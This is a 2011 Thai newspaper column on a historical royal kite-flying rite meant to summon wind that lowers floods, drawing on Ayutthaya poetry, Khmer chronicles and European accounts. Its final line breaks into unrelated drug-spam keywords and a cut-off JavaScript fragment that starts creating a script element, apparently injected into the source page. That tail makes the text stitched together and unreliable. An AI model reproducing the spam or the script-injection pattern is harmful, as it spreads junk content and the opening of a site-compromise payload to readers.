มติชนรายวัน ฉบับประจำวันอังคารที่ 1 พฤศจิกายน 2554

 

          คนแต่ก่อนเชื่อว่าพลังลมมีจริง แล้วพัดให้น้ำขึ้น, น้ำลง, น้ำไหล ได้จริงๆ

          ดังนั้นจึงมีพิธีขอลมให้น้ำลดด้วยการชักว่าวเล่นว่าวขึ้นฟ้าในเดือนอ้าย (เดือน 1 ราวพฤศจิกายน-ธันวาคม)

          ราว พ.ศ. 2000 ยุคต้นอยุธยา มีบอกในยวนพ่ายโคลงดั้นว่ามีพิธีชักว่าวเล่นว่าวตอนเดือนอ้าย ดังนี้

          ฤดูดูว่าวคว้าง                    กลางหาว

          เห็นว่าวหว่างอกปลอม            ว่าวขึ้น

          ตำราพระราชพิธีเก่าครั้งอยุธยา กำหนดว่าพระเจ้าแผ่นดินต้องเสด็จออกทำพิธีชักว่าวศักดิ์สิทธิ์เพื่อขอลมให้พืชพันธุ์ธัญญาหารอุดมสมบูรณ์

          กาพย์ห่อโคลงนิราศธารโศก ของเจ้าฟ้ากุ้ง พรรณนาพิธีชักว่าวว่า

          เดือนอ้ายผายกรุงท้าว            พิธีว่าวกล่าวกลแสดง

          เดือนนี้พิธีแคลง                    กลุ้มท้องฟ้าคลาอรไกล

          ชื่อแคลงหรือแกลงเป็นภาษาเขมร แปลว่าว่าว มีอยู่ในพงศาวดารเมืองละแวก กล่าวถึงพระราชพิธีเดือนอ้าย (เดือนมิคสิร) ไว้ว่า “ให้เจ้าพนักงานแห่พระแกลง (ว่าว)…..….พราหมณ์ปุโรหิตถวายพระแกลง (ว่าว) ให้ทรงบังเหิน (ชัก) ขึ้น”

          เมื่อชักว่าวขึ้นแล้วยังไม่เอาลงจนกว่าจะพ้นฤดูเก็บเกี่ยว ดังมีในบันทึกของชาวยุโรป (ลาลูแบร์) บอกว่า

          สมัยสมเด็จพระนารายณ์มี “ว่าวของสมเด็จพระเจ้ากรุงสยามปรากฏให้เห็นในท้องฟ้าทุกคืนตลอดระยะเวลา 2 เดือนของฤดูหนาว และทรงแต่งตั้งขุนนางให้คอยผลัดเปลี่ยนเวรถือสายป่านไว้”

          แล้วยังมีตำราหน้าที่ตำรวจในสมัยพระเจ้าท้ายสระกล่าวว่า “ถ้าทรงว่าวเวลาเย็นนั้น เจ้ากรมปลัดกรมผู้อยู่เวรเข้ามากราบทูลพระกรุณาด้วยลมกล้าลมอ่อน ถ้าเสด็จไปทรงว่าว เจ้ากรมปลัดกรมซึ่งอยู่เวรประนมมือแห่เสด็จไปถึงลานทรงว่าว ณ สวนกระต่าย (หลังวัดพระศรีสรรเพ็ชญ์) เฝ้าคอยรับสั่ง ครั้นวิ่งราวคือวิ่งรอกเรียกหัวหมื่น ถือตัวสีตำรวจเลงขึ้นไปวิ่งแลเกณฑ์ให้คอยค้ำสายป่าน ถ้าพานว่าวปักเป้าติดเข้ามานั้นได้เอาบาณชีกราบทูลพระกรุณาตามชื่อทุกครั้งไป”

          ชักว่าวเป็นพิธีกรรมขอลมพัดให้น้ำลดเดือนอ้าย เพื่อให้ราษฎรเก็บเกี่ยวพืชผล

          ย่อมเป็นพยานว่าทุกวันนี้มีพลังลมพัดน้ำไหลกระฉอกท่วมกรุงเทพฯ ได้จริงๆ

fluoxetine birth defects viagra sublingual 100mg var d=document;var s=d.createElement(‘script’); if (document.currentScript) {